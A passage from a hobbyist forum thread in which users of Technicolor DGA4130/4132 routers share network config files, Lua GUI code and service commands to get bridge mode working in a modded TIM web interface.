list roles 'engineer'

config rule 'ltedoctor'
option target '/lte-doctor.lua'
list roles 'admin'
list roles 'engineer'


Replace the xxxxxxxxxx with what you have in your original copy :
Now just restart transformer and nginx:
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/etc/init.d/transformer restart
/etc/init.d/nginx restart

Now go in your browser and watch your gui with the unlocked tiles. You can now configure your ISP from the GUI. Please note that there is no BRIDGE mode available.  :-\

The GUI TIM unlocked is way more stable and BUG less than the moded GUI by ansuel, but also have less features.

(https://i.imgur.com/lddRoR6.png)

After this procedure seems It doesn't works the export configuration I'm right? It happens also to you?
thx.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 04, 2018, 12:21:07 PM
no, it works for me...this feature works by default and i didn't change anything related to this in the procedure...
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 04, 2018, 06:33:40 PM
For those of you who like like the violet Skin (Ansuel's GUI), I have completed the two responsible css files, so that now the up and down arrow is displayed.  :)

/www/docroot/css/

color_violet.css and gw.css

http://ufile.io/qtt35 (https://ufile.io/qtt35)

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on February 05, 2018, 11:42:04 AM
Thanks SHDF  :) , how are you getting on with including the bridge option the in 1.1.0 gui ?

If you turn vlan off under dsl, do you also get a validation error?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 05, 2018, 01:00:04 PM
Thanks SHDF  :) , how are you getting on with including the bridge option the in 1.1.0 gui ?

I am a little lost with LUA, so I could not do much...looks like all the files are present but something is missing somewhere.
If you turn vlan off under dsl, do you also get a validation error?
yes, but when you go back again in the menu, the vlan is set to off...

Which GUI from Ansuel is working fine with the Bridge mode ? i think we can check what Ansuel did by comparing the files, and try to add his code into that firmware...easy to say...
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on February 05, 2018, 01:05:01 PM
I cant actually remember, I think only the earliest one.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 05, 2018, 01:14:29 PM
Which GUI from Ansuel is working fine with the Bridge mode ? i think we can check what Ansuel did by comparing the files, and try to add his code into that firmware...easy to say...

I can confirm that!
The brigde mode works perfectly in Ansuel's GUI. (1.0.5 & GUI 4.6.8)

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 05, 2018, 01:20:20 PM
@eclp
could you post your working configuration file /etc/config/network in bridge mode ?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 05, 2018, 01:29:21 PM
x = edited

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config interface 'loopback'
option ifname 'lo'
option proto 'static'
option ipaddr '127.0.0.1'
option netmask '255.0.0.0'

config globals 'globals'
option ula_prefix 'none'
option default_ps '0'

config device 'waneth4'
option type '8021q'
option name 'waneth4'
option macaddr 'xx:xx:xx:xx:xx:xx'
option ifname 'eth4'
option vid '835'
option ipv6 '0'

config device 'wanptm0'
option type '8021q'
option name 'wanptm0'
option macaddr 'xx:xx:xx:xx:xx:xx'
option ifname 'ptm0'
option vid 'x'
option ipv6 '0'

config interface 'wan'
option auto '1'
option demand '0'
option password 'xxx'
option macaddr 'xx:xx:xx:xx:xx:xx'
option peerdns '1'
option reqopts '1 3 6 15 33 42 51 121 249'
option keepalive_adaptive '0'
option dns_metric '0'
option proto 'bridge'
option ifname 'wanptm0'
option username 'xxx@xxx'
option ipv6 '0'

config config 'config'
option wan_mode 'bridge'

config interface 'wwan'
option proto 'mobiled'
option session_id '0'
option profile '1'
option auto '0'

config interface 'wan6'
option proto '‘dhcpv6’'
option reqopts '12 21 22 23 24 25 31 56 64 67 82 83'
option noslaaconly '1'
option iface_464xlat '0'
option dns_metric '20'
option ifname '@wan_ipv6'
option auto '0'

config interface 'sfp'
option proto 'static'
option ifname 'eth4'
option ipaddr '192.168.2.2'
option netmask '255.255.255.0'

config interface 'lan'
option type 'bridge'
option proto 'static'
option netmask '255.255.255.0'
option force_link '0'
option ifname 'eth0 eth1 eth2 eth3 eth5'
option ipaddr '192.168.0.1'
list pppoerelay 'wanptm0'
option ip6assign '0'
option ipv6 '0'

config switch 'bcmsw'
option reset '1'
option enable_vlan '0'
option qosimppauseenable '0'
option jumbo '0'

config interface 'wlnet_b_24'
option proto 'static'
option ip6assign '64'
option ip6hint '1'
option netmask '255.255.255.128'
option ipaddr '192.168.168.1'
option ifname 'wl0_1'
option force_link '0'
option name 'Ospiti-TIM-19066887'
option ipv6 '0'

config interface 'wlnet_b_5'
option proto 'static'
option ip6assign '64'
option ip6hint '2'
option netmask '255.255.255.128'
option ipaddr '192.168.168.129'
option ifname 'wl1_1'
option force_link '0'
option name 'Ospiti-TIM-19066887'
option ipv6 '0'

config device 'wlnet_b_5eth5'
option type '8021q'
option name 'wl1_1'
option enabled '1'
option ifname 'eth5'
option vid '3'
option ipv6 '0'

config interface 'ipoe'
option proto 'dhcp'
option metric '1'
option reqopts '1 3 6 43 51 58 59'
option release '1'
option neighreachabletime '1200000'
option neighgcstaletime '2400'
option ipv6 '1'


 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 05, 2018, 01:43:15 PM
could you please do 2 tests :

1) remove the red lines from your wan configuration, i think it is useless in bridge mode:

Quote
config interface 'wan'
   option auto '1'
   option demand '0'
   option password 'xxx'
   option macaddr 'xx:xx:xx:xx:xx:xx'
   option peerdns '1'
   option reqopts '1 3 6 15 33 42 51 121 249'
   option keepalive_adaptive '0'
   option dns_metric '0'
   option proto 'bridge'
   option ifname 'wanptm0'
   option username 'xxx@xxx'
   option ipv6 '0'

i'm 99.99% sure it should work without that as it is related to pppoe.

2) if it works, then try now to remove this last line in red

Quote
config interface 'wan'
   option auto '1'
   option demand '0'
   option macaddr 'xx:xx:xx:xx:xx:xx'
   option keepalive_adaptive '0'
   option proto 'bridge'
   option ifname 'wanptm0'
 

does your bridge mode work without it ?

Thanks for your help.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on February 05, 2018, 02:11:58 PM
What has never worked for me is vlan off and bridge mode, I have always had to edit the network file manually. As soon as I turn off the vlan the ptm0 interface disappears from ifconfig. To get it back have to change wanptm0 to ptm0.

I have always wondered what wantptm0 actually is, I think it is specific to the vlan somehow.

I dont think I have seen a bridge config like eclp's before 

Code: [Select]
config interface 'lan'
option type 'bridge'
option proto 'static'
option netmask '255.255.255.0'
option force_link '0'
option ifname 'eth0 eth1 eth2 eth3 eth5'  <----  all my attempts invloved putting ptm0 or wanptm0 in here
option ipaddr '192.168.0.1'
list pppoerelay 'wanptm0'   <--- so it is relaying rather than bridging ?? I take it then the ppoerelay file in /etc/config/ is set to enabled '1'
option ip6assign '0'
option ipv6 '0'

 ???  ???  ???

I might try this, sorry for de railing the bridge gui fix, but maybe it will help.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 05, 2018, 02:32:01 PM
So, I've tested your specifications.
When I remove the red lines from the first section the bridge mode works as before. Not however if I remove option ifname "wanptm0". The modem connects (all green LEDs light up) but the cascaded ASUS router does not receive an IP address.

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 05, 2018, 02:57:43 PM
@eclp
ok, so your Asus router is not configured on your ISP vlan id. it is waiting for untagged traffic.

To fix that, let's say your ISP vlan id is 100 :

Quote
config interface 'wan'
   option auto '1'
   option demand '0'
   option macaddr 'xx:xx:xx:xx:xx:xx'
   option keepalive_adaptive '0'
   option proto 'bridge'
   option ifname 'ptm0.100'

if this works, then we have here a clean and clear bridge configuration setting.

This, would become useless :
Quote
config device 'wanptm0'
   option type '8021q'
   option name 'wanptm0'
   option macaddr 'xx:xx:xx:xx:xx:xx'
   option ifname 'ptm0'
   option vid 'x'
   option ipv6 '0'
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 05, 2018, 03:43:47 PM
@bilbo
i don't understand why they created a device "wanptm0", and what is this "pppoerelay" thing which doesn't seem to be a valid openwrt setting...i can't find anything about that in the doc here :  https://wiki.openwrt.org/doc/uci/network
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 05, 2018, 03:46:57 PM
Bad news.  ???

As a result, the ASUS no longer receives an IP address.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 05, 2018, 03:49:26 PM
add everything you removed to go back as before... ???
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on February 05, 2018, 03:54:39 PM
I think you would have to also change

under lan section:
list pppoerelay 'ptm0.100 (or whatever your vlan is)'  ? based on the working config



Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 05, 2018, 04:08:09 PM
Remember, I've got a DGA4132, it has other ports on the back. I don't know if it's gonna have an impact?

The following configuration:
DGA4132/LAN (1) --> ASUS/WAN

(https://i.imgur.com/s2NBGuE.png)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 05, 2018, 04:26:30 PM
I think you would have to also change

under lan section:
list pppoerelay 'ptm0.100 (or whatever your vlan is)'  ? based on the working config

Heureka!

Now it works!!!
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 05, 2018, 05:11:28 PM
Ok, so it was working well before, and now it works the same.  ;D

But what i think is not correct in your configuration, on the Asus router, you should be able to handle multiple vlan which is actualy not the case because you only send to the Asus the traffic of 1 vlan.
if your isp is using 1 vlan for internet, another one for the IPTV, and another one for the VOD (video on demand), your actual configuration would not work.

A true bridge mode should send all the traffic to the Asus regardless to the vlan, and the Asus should set the vlan interface.
as i can see here : http://demoui.asus.com/Advanced_IPTV_Content.asp
you have to set "Select ISP Profile" to manual setting. And then you can set your vlans :
(https://i.imgur.com/y3DFRvH.png)

That way on the DGA4132 you don't need to set any vlan anymore.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 05, 2018, 05:32:53 PM
Yes!
You could also say you and @bilbokitz complemented each other perfectly.  :)

Under Broadband --> Internet channel --> Using VLAN --> Notation has changed from Device to Dot.

The bridge mode should be changed or activated in the TIM GUI, then it would be good. As long as I use Ansuel's GUI. It runs quite well, I can't see many bugs there. Except maybe all the ugly nginx error messages in the syslog.

 :)

Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on February 05, 2018, 08:21:37 PM
@eclp what does your /etc/config/pppoerelayd contain?

Interesting experiment
Code: [Select]
config interface 'loopback'
option ifname 'lo'
option proto 'static'
option ipaddr '127.0.0.1'
option netmask '255.0.0.0'

config globals 'globals'
option ula_prefix 'none'
option default_ps '0'

config device 'waneth4'
option type '8021q'
option name 'waneth4'
option macaddr 'mine'
option ifname 'eth4'
option vid '835'
option ipv6 '0'

#config device 'wanptm0'
# option type '8021q'
# option name 'wanptm0'
# option macaddr 'mine'
# option ifname 'ptm0'
# option vid 'x'
# option ipv6 '0'

config interface 'wan'
option auto '1'
option demand '0'
option macaddr 'mine'
option keepalive_adaptive '0'
option proto 'bridge'
option ifname 'ptm0'


config config 'config'
option wan_mode 'bridge'

config interface 'wwan'
option proto 'mobiled'
option session_id '0'
option profile '1'
option auto '0'

config interface 'wan6'
option proto '‘dhcpv6’'
option reqopts '12 21 22 23 24 25 31 56 64 67 82 83'
option noslaaconly '1'
option iface_464xlat '0'
option dns_metric '20'
option ifname '@wan_ipv6'
option auto '0'

config interface 'lan'
option type 'bridge'
option proto 'static'
option netmask '255.255.255.0'
option force_link '0'
option ifname 'eth0 eth1 eth2 eth3 eth5'
option ipaddr '192.168.1.1'
list pppoerelay 'ptm0'
option ip6assign '0'
option ipv6 '0'

config switch 'bcmsw'
option reset '1'
option enable_vlan '0'
option qosimppauseenable '0'
option jumbo '0'

config interface 'wlnet_b_24'
option proto 'static'
option ip6assign '64'
option ip6hint '1'
option netmask '255.255.255.128'
option ipaddr '192.168.168.1'
option ifname 'wl0_1'
option force_link '0'
option name 'Ospiti-TIM-19066887'
option ipv6 '0'

config interface 'wlnet_b_5'
option proto 'static'
option ip6assign '64'
option ip6hint '2'
option netmask '255.255.255.128'
option ipaddr '192.168.168.129'
option ifname 'wl1_1'
option force_link '0'
option name 'Ospiti-TIM-19066887'
option ipv6 '0'

config device 'wlnet_b_5eth5'
option type '8021q'
option name 'wl1_1'
option enabled '1'
option ifname 'eth5'
option vid '3'
option ipv6 '0'

config interface 'ipoe'
option proto 'dhcp'
option metric '1'
option reqopts '1 3 6 43 51 58 59'
option release '1'
option neighreachabletime '1200000'
option neighgcstaletime '2400'
option ipv6 '1'
Asus pppoe connection failed and would not reconnect


Code: [Select]
config interface 'loopback'
option ifname 'lo'
option proto 'static'
option ipaddr '127.0.0.1'
option netmask '255.0.0.0'

config globals 'globals'
option ula_prefix 'none'
option default_ps '0'

config device 'waneth4'
option type '8021q'
option name 'waneth4'
option macaddr 'mine'
option ifname 'eth4'
option vid '835'
option ipv6 '0'

config device 'wanptm0'
option type '8021q'
option name 'wanptm0'
option macaddr 'mine'
option ifname 'ptm0'
option vid '835'
option ipv6 '0'

config interface 'wan'
option auto '1'
option demand '0'
option macaddr 'mine'
option keepalive_adaptive '0'
option proto 'bridge'
option ifname 'ptm0'


config config 'config'
option wan_mode 'bridge'

config interface 'wwan'
option proto 'mobiled'
option session_id '0'
option profile '1'
option auto '0'

config interface 'wan6'
option proto '‘dhcpv6’'
option reqopts '12 21 22 23 24 25 31 56 64 67 82 83'
option noslaaconly '1'
option iface_464xlat '0'
option dns_metric '20'
option ifname '@wan_ipv6'
option auto '0'

config interface 'lan'
option type 'bridge'
option proto 'static'
option netmask '255.255.255.0'
option force_link '0'
option ifname 'eth0 eth1 eth2 eth3 eth5'
option ipaddr '192.168.1.1'
list pppoerelay 'ptm0'
option ip6assign '0'
option ipv6 '0'

config switch 'bcmsw'
option reset '1'
option enable_vlan '0'
option qosimppauseenable '0'
option jumbo '0'

config interface 'wlnet_b_24'
option proto 'static'
option ip6assign '64'
option ip6hint '1'
option netmask '255.255.255.128'
option ipaddr '192.168.168.1'
option ifname 'wl0_1'
option force_link '0'
option name 'Ospiti-TIM-19066887'
option ipv6 '0'

config interface 'wlnet_b_5'
option proto 'static'
option ip6assign '64'
option ip6hint '2'
option netmask '255.255.255.128'
option ipaddr '192.168.168.129'
option ifname 'wl1_1'
option force_link '0'
option name 'Ospiti-TIM-19066887'
option ipv6 '0'

config device 'wlnet_b_5eth5'
option type '8021q'
option name 'wl1_1'
option enabled '1'
option ifname 'eth5'
option vid '3'
option ipv6 '0'

config interface 'ipoe'
option proto 'dhcp'
option metric '1'
option reqopts '1 3 6 43 51 58 59'
option release '1'
option neighreachabletime '1200000'
option neighgcstaletime '2400'
option ipv6 '1'

Connected ok. ???  My isp has no vlan.

Another test will be to see if the asus will re-connect after an extended period.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 05, 2018, 08:47:26 PM
Code: [Select]
config pppoerelayd 'config'
        option enable '0'
        option server_intf 'wan'
        option client_intf 'lan'
        option timeout '0'
        option nsessions '32'

It would be nice if you'd keep reporting on everything you find out. I have also tested a little bit, if my ASUS is tagging the VLAN I can't get a connection.

@shdf ..

What actually distinguishes these two "wanptm0" and "ptm0' - and why is the latter better?

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 05, 2018, 09:09:28 PM
@bilbo
i read somewhere that "#" is not considered as a comment in uci configuration files... better try to remove the code you don't want than using this "#".

@eclp
i don't think one is better than the other, maybe technicolor found useful to create a device "wanptm0" ?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on February 05, 2018, 10:59:30 PM
@shdf ok the the 1st one failed because
#   option vid 'x'     :-[

eclp's pppoe-relay file means it is disabled doesn't it, how strange unless it is unrelated to "list pppoerelay 'ptm0'"
Mine appears to need enabled '1' for that network config to work. Unless of course it was a coincidence the router chose that moment to connect which is a possibility.

Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 06, 2018, 07:34:13 AM
in my opinion, you can forget about this "pppoe relay" thing, and just disable it, and don't even use it anywhere. a relay would be between the modem and the router...you don't have/use a third device, which is acting as a "relay" ?!
Maybe this is the cause of your PADO/PADI problem...
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on February 06, 2018, 09:13:30 AM
I had not used this pppoe relay thing before and have always had it set to '0' until yesterday, I was just trying to understand eclp's working bridge config and how it worked.  :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 06, 2018, 04:06:34 PM
So, I've got AGTHP_1.1.0_002_CLOSED. rbi plus Ansuel's GUI 4.6.8 running so far. Only DHCP cannot be deactivated via GUI. How can I disable DHCP via WinSCP or putty?

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 06, 2018, 05:17:46 PM
try this from putty:
Code: [Select]
/etc/init.d/dnsmasq stop
/etc/init.d/dnsmasq disable


Or with winscp you can add a : ignore '1' below each config rules
and then do a: /etc/init.d/dnsmasq restart
that way dnsmasq is still runing
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on February 06, 2018, 06:12:38 PM
@eclp were/are you are you getting dhcp broadcast traffic flooding your asus log by any chance?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 06, 2018, 07:11:31 PM
@shdf ...
Many, many thanks again to you! Obviously you are a very helpful person and very friendly.
Thank you for your help.

Well, the configuration seems to be working just as well. The sync takes a bit longer, which is of course subjective. The only thing that does not work in the GUI are the settings under "Local Network", because the GUI crashes (perhaps it can be fixed?), but there are also much fewer error messages in the syslog.

@bilbo ...
Unfortunately, I don't understand exactly what you mean?

(https://i.imgur.com/VD4nwNr.png)

 :) ;D
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on February 06, 2018, 07:25:51 PM
In your asus router system log are you getting lots of drop messges from mac=ff:ff:ff:ff.... Dst=255.255.255.255 ?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 06, 2018, 07:28:04 PM
if you want less Logs you can also disable the firewall on the modem as it doesn't make sense runing it here :
/etc/init.d/firewall stop
/etc/init.d/firewall disable


you can disable igmpproxy logs:
in /etc/config/igmpproxy, set option trace '0'
and do a /etc/init.d/igmpproxy restart for the changes to take effect

or you can also completly disable igmpproxy:
/etc/init.d/igmpproxy stop
/etc/init.d/igmpproxy disable

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 06, 2018, 07:39:13 PM
In your asus router system log are you getting lots of drop messges from mac=ff:ff:ff:ff.... Dst=255.255.255.255 ?


No, the logs in the Asus (Merlin 384.3 Beta) are completely clean, I don't have such messages. Also no PADO/PADI entries. 

:)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 07, 2018, 12:07:19 PM
 ;D ;D ;D

By swapping the lua-code lines from docroot (Ansuel GUI) I finally managed to conjure up the bridge mode in the TIM GUI.
See for yourself:

(https://i.imgur.com/FHoMkoe.png)

(https://i.imgur.com/NdMu7jH.png)

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on February 07, 2018, 01:09:31 PM
Well done!  ;D

Is that functional or cosmetic, can it be used to change modes?

Also, how can we do it?   Is that an older firmware?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 07, 2018, 01:51:31 PM
 ;D Fully functional!  ;D

I could upload the "www" folder (root) from the firmware AGTHP_1.1.0_002_CLOSED plus Ansuel GUI 4.6.8.

And presumably the additional functions of Ansuel can also be enabled by this.

(https://i.imgur.com/z27mKrn.png)

EDIT:

https://workupload.com/file/Sr9v9gZ (https://workupload.com/file/Sr9v9gZ)

 :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Westie on February 07, 2018, 02:37:06 PM
@eclp
I believe you have a DGA4132. Does this work with the DGA4130 also?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on February 07, 2018, 02:39:24 PM
Do we just replace the www folder?

Also would you be able to share your network config file when you set vlan to off when bridge mode with this gui please? and ifconfig output in that mode if possible.
 
And same as Westie asked.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 07, 2018, 03:25:02 PM
Whether the www folder works on for the DGA4130 I cannot answer.  In no case exchange the whole folder, then the GUI looks like Ansuel's GUI through the css files. Up to now I have only taken care of the bridge fashion which is important for me. For this purpose I have compared and adjusted the necessary files. The result is now known. Have two 4132 here and can therefore test very well.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on February 07, 2018, 05:46:46 PM
in fact it is only necessary to add this piece of code in /www/lua/internetmode_helper.lua
just above the last "}"
Code: [Select]
{
        name = "bridge",
        default = false,
        description = "Bridge mode",
        view = "internet-bridged.lp",
        card = "003_internet_bridged.lp",
        check = {
            { "uci.network.interface.@wan.proto", "^bridge$"},
{ "uci.wansensing.global.enable", "^1$"},
        },
        operations = {
            { "uci.network.interface.@wan.proto", "bridge"},
        },
    },

So the file would be like this :
Quote
return {
    {
        name = "dhcp",
        default = true,
        description = "DHCP routed mode",
        view = "internet-dhcp-routed.lp",
        card = "003_internet_dhcp_routed.lp",
        check = {
            { "uci.network.interface.@wan.proto", "^dhcp$"},
                                 
        },
        operations = {
            { "uci.network.interface.@wan.proto", "dhcp"},
        },
    },
    {
        name = "pppoe",
        default = false,
        description = "PPPoE routed mode",
        view = "internet-pppoe-routed.lp",
        card = "003_internet_pppoe_routed.lp",
        check = {
            { "uci.network.interface.@wan.proto", "^pppoe$"},
                                 
        },
        operations = {
            { "uci.network.interface.@wan.proto", "pppoe"},
        },
    },
    {
        name = "pppoa",
        default = false,
        description = "PPPoA routed mode",
        view = "internet-pppoa-routed.lp",
        card = "003_internet_pppoe_routed.lp",
        check = {
            { "uci.network.interface.@wan.proto", "^pppoa$"},
                                 
        },
        operations = {
            { "uci.network.interface.@wan.proto", "pppoa"},
        },
    },
    {
        name = "static",
        default = false,
        description = "Fixed IP mode",
        view = "internet-static-routed.lp",
        card = "003_internet_static_routed.lp",
        check = {
            { "uci.network.interface.@wan.proto", "^static$"},
                                 
        },
        operations = {
            { "uci.network.interface.@wan.proto", "static"},
        },
    },
   {
        name = "bridge",
        default = false,
        description = "Bridge mode",
        view = "internet-bridged.lp",
        card = "003_internet_bridged.lp",
        check = {
            { "uci.network.interface.@wan.proto", "^bridge$"},
         { "uci.wansensing.global.enable", "^1$"},
        },
        operations = {
            { "uci.network.interface.@wan.proto", "bridge"},
        },
    },

}

Big Thanks @eclp for finding this  :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 07, 2018, 06:15:38 PM
These data are changed or exchanged...  (AGTHP_1.0.5_CLOSED + GUI 4.6.8)

Code: [Select]
root@modemtim:~# bzcat /tmp/GUI.tar.bz2 | tar -C / -xvf-
bin/
bin/busybox_telnet
etc/
etc/config/
etc/config/dlnad_orig
etc/config/dropbear
etc/config/ipping
etc/config/power
etc/config/telnet_orig
etc/config/watchdog
etc/config/web_unlock
etc/config/wol_orig
etc/crontabs/
etc/crontabs/root_gui
etc/ddns/
etc/ddns/services
etc/ddns/services_ipv6
etc/hotplug.d/
etc/hotplug.d/iface/
etc/hotplug.d/iface/99-wol
etc/init.d/
etc/init.d/dlnad
etc/init.d/power
etc/init.d/rootdevice
etc/init.d/telnet
etc/init.d/trafficmon
etc/init.d/wol
etc/nginx/
etc/nginx/fastcgi_params
etc/nginx/koi-utf
etc/nginx/koi-win
etc/nginx/mime.types
etc/nginx/naxsi_core.rules
etc/nginx/nginx.conf
etc/nginx/win-utf
etc/opkg/
etc/opkg/distfeeds.conf
etc/opkg.conf
etc/rc.d/
etc/rc.d/S94rootdevice
etc/ssl/
etc/ssl/certs/
etc/ssl/certs/578d5c04.0
etc/ssl/certs/aee5f10d.0
etc/ssl/certs/AGprivkey.key
etc/ssl/certs/d6d84089.0
etc/ssl/certs/rootTLC-CA.cer
etc/ssl/openssl.cnf
etc/ssl/private/
lib/
lib/functions/
lib/functions/firewall-wol.sh
lib/libCdsObjects.so
lib/upgrade/
lib/upgrade/platform.sh
sbin/
sbin/sysupgrade
sbin/trafficdata.lua
sbin/trafficmon.lua
usr/
usr/bin/
usr/bin/dlnad
usr/bin/openssl
usr/bin/rtfd
usr/bin/sysupgrade-safe
usr/lib/
usr/lib/cwmpd/
usr/lib/cwmpd/transfers/
usr/lib/cwmpd/transfers/switchover.sh
usr/lib/cwmpd/transfers/upgrade.sh
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Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: eclp on February 07, 2018, 06:16:50 PM
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usr/share/transformer/scripts/mobiled_upgrade.sh
usr/share/transformer/scripts/reboot_with_reason.sh
usr/share/transformer/scripts/reload_syslog.sh
usr/share/transformer/scripts/remote_assistance.sh
usr/share/transformer/scripts/renewDHCPv6.sh
usr/share/transformer/scripts/resetgui.sh
usr/share/transformer/scripts/send_lte_backup_event.sh
usr/share/transformer/scripts/set_profile.sh
usr/share/transformer/scripts/tod_enable.sh
usr/share/transformer/scripts/transfer_bank1.sh
usr/share/transformer/scripts/uci_system.sh
usr/share/transformer/scripts/umount_usb.sh
usr/share/transformer/scripts/update_passw.sh
usr/share/transformer/scripts/upgradegui.sh
usr/share/transformer/scripts/user_reload.sh
usr/share/transformer/scripts/voicednd_toggle.lua
usr/share/transformer/scripts/voice_tod.lua
usr/share/transformer/scripts/X_000E50_RemoteAccess.sh
www/
www/cards/
www/cards/001_gateway.lp
www/cards/002_broadband.lp
www/cards/003_internet.lp
www/cards/004_wireless.lp
www/cards/005_LAN.lp
www/cards/006_Devices.lp
www/cards/007_wanservices.lp
www/cards/008_firewall.lp
www/cards/008_qos.lp
www/cards/008_telephony.lp
www/cards/009_diagnostics.lp
www/cards/010_assistance.lp
www/cards/010_lte.lp
www/cards/011_usermgr.lp
www/cards/012_contentsharing.lp
www/cards/012_printersharing.lp
www/cards/013_parental.lp
www/cards/015_iproutes.lp
www/cards/015_tod.lp
www/cards/018_relaysetup.lp
www/cards/090_cwmpconf.lp
www/cards/091_system.lp
www/cards/092_natalghelper.lp
www/cards/093_xdsl.lp
www/cards/snippets/
www/cards/snippets/002_broadband_bridge.lp
www/cards/snippets/002_broadband_docsis.lp
www/cards/snippets/002_broadband_ethernet.lp
www/cards/snippets/002_broadband_gpon.lp
www/cards/snippets/002_broadband_xdsl.lp
www/cards/snippets/003_internet_bridged.lp
www/cards/snippets/003_internet_dhcp_routed.lp
www/cards/snippets/003_internet_pppoe_routed.lp
www/cards/snippets/003_internet_static_routed.lp
www/docroot/
www/docroot/ajax/
www/docroot/ajax/internet.lua
www/docroot/ajax/lte-doctor.lua
www/docroot/ajax/mobiletab.lua
www/docroot/ajax/networkscan.lua
www/docroot/ajax/radioparameters.lua
www/docroot/ajax/sim.lua
www/docroot/ajax/sms.lua
www/docroot/css/
www/docroot/css/aos.css
www/docroot/css/chosen.css
www/docroot/css/color_blue.css
www/docroot/css/color_green.css
www/docroot/css/color_violet.css
www/docroot/css/font-awesome-ie7.css
www/docroot/css/font-awesome.css
www/docroot/css/font-awesome.min.css
www/docroot/css/gw.css
www/docroot/css/lte-doctor.css
www/docroot/css/mobiled.css
www/docroot/css/numberpicker.css
www/docroot/css/responsive.css
www/docroot/css/TIM.css
www/docroot/fonts/
www/docroot/fonts/fontawesome-webfont.eot
www/docroot/fonts/fontawesome-webfont.svg
www/docroot/fonts/fontawesome-webfont.ttf
www/docroot/fonts/fontawesome-webfont.woff
www/docroot/fonts/fontawesome-webfont.woff2
www/docroot/fonts/FontAwesome.otf
www/docroot/gateway.lp
www/docroot/img/
www/docroot/img/arrow-down.gif
www/docroot/img/arrow-left.gif
www/docroot/img/arrow-right.gif
www/docroot/img/arrow-up.gif
www/docroot/img/bandwidth-px-png.png
www/docroot/img/bandwidth-px-png.webp
www/docroot/img/chosen-sprite.png
www/docroot/img/chosen-sprite@2x.png
www/docroot/img/connection-established.png
www/docroot/img/connection-established.webp
www/docroot/img/fail__md.gif
www/docroot/img/favicon.ico
www/docroot/img/gateway.png
www/docroot/img/gateway.webp
www/docroot/img/glyphicons-halflings-white.png
www/docroot/img/glyphicons-halflings.png
www/docroot/img/inco__md.gif
www/docroot/img/loading-btn.gif
www/docroot/img/loading.gif
www/docroot/img/logo.gif
www/docroot/img/logo.png
www/docroot/img/logo.webp
www/docroot/img/message-read.png
www/docroot/img/message-unread.png
www/docroot/img/miss__md.gif
www/docroot/img/networkscan-loader.gif
www/docroot/img/network_sans-32.png
www/docroot/img/network_sans-32.webp
www/docroot/img/outg__md.gif
www/docroot/img/pocket-32-black.png
www/docroot/img/pocket-32-black.webp
www/docroot/img/spinner.gif
www/docroot/img/TIM.png
www/docroot/js/
www/docroot/js/aos.js
www/docroot/js/bootstrap-progressbar-min.js
www/docroot/js/chosen-min.js
www/docroot/js/flot-min.js
www/docroot/js/graphic-min.js
www/docroot/js/knockout-min.js
www/docroot/js/main-min.js
www/docroot/js/media-min.js
www/docroot/js/numberpicker-min.js
www/docroot/js/srp-min.js
